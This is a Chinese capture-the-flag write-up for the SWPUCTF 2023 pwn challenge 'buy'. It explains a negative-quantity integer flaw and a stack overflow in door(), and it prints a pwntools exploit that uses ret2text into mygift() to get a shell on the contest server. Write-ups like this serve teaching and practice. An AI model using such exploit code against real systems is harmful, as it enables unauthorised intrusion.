[SWPUCTF 2023 秋季新生赛]buy
作者:Vesper Vei
1 分钟阅读
目录
[!note] 关联入口:PWN题目索引
buy - 题目复盘
[!info] 题目信息
- 比赛:SWPUCTF 新生赛
- 题目:buy
- 难度:★★☆☆☆
- 保护机制:NX
- 漏洞类型:整数溢出 / 栈溢出
- 利用技术:ret2text
漏洞分析
简单题,程序仍保留符号信息,整体思路是顺着函数逻辑过程序,发现一个函数名为 door() 函数,点开发现 read(0,&a,0x1000) 栈溢出。后续就是寻找如何进入 door() 函数。
解题步骤
① 静态分析
图片信息已经很详尽了,在此不赘述。
注意到②地方,先 mov eax cs:key 再test比较的,所以我们要想办法让key不等于0即可与运算后ZF标志位为0,跳转红线。
这里直接看 food() 函数的反汇编代码吧。首先我对程序的业务逻辑很疑惑🤔,我输入的正数结果你 money = money*(5-v1) 你还限制 v1 < 3 ???意思是我买东西后直接给我加钱?(正常输入下)
反正很反逻辑,如果是这样都不需要整数溢出,直接多来几次就行了。
吐槽完毕,这里可以发现使用的是 int类型,因此输入负数可以快速加钱,全局变量 money 初始值为1000,这里刷到1万就好了。
接下来我们看 door() 函数:
这里和简单题不一样的是,buf并不合rsp在同一位置。具体栈帧如图所示。
至此,只需要再找到 ret2text 中需要跳转到调用终端的函数即可。
作者也是放水放的离谱 mygift() 函数里就存着

② 动态调试
无需动调
③ 利用开发
关于栈对齐,后面会讲。exp代码如下
from pwn import *io = remote('node4.anna.nssctf.cn',28291)io.sendlineafter(b'your choice:',b'1')io.sendlineafter(b'what do you want?',b'1')io.sendlineafter(b'How many?',b'-100')io.sendlineafter(b'your choice:',b'2')io.sendlineafter(b'what do you want?',b'1')io.sendlineafter(b'How many?',b'1')
io.recv()payload = b'a' * 18payload += p64(0x40155A) #ret_addrpayload += p64(0x401544) #mygift_addrio.sendline(payload)io.interactive()④ 最终利用

工具使用
IDA
关键收获
技术洞察
需要学会利用交叉引用功能
踩坑记录
这里为新手讲解下栈对齐:
算了我目前还讲不清楚,慢慢探索吧,记住以后在调用 system() 函数时如果不通过就试试栈对齐,加一个 ret
模式识别
购物不对数量进行负数检测导致的业务漏洞,进而提权,扩大利用范围。
关联题目
比[[[CISCN 2023 初赛]烧烤摊儿]]简单,但前期利用思路都一样。
扩展思考
无
创建时间:2025-12-01 19:10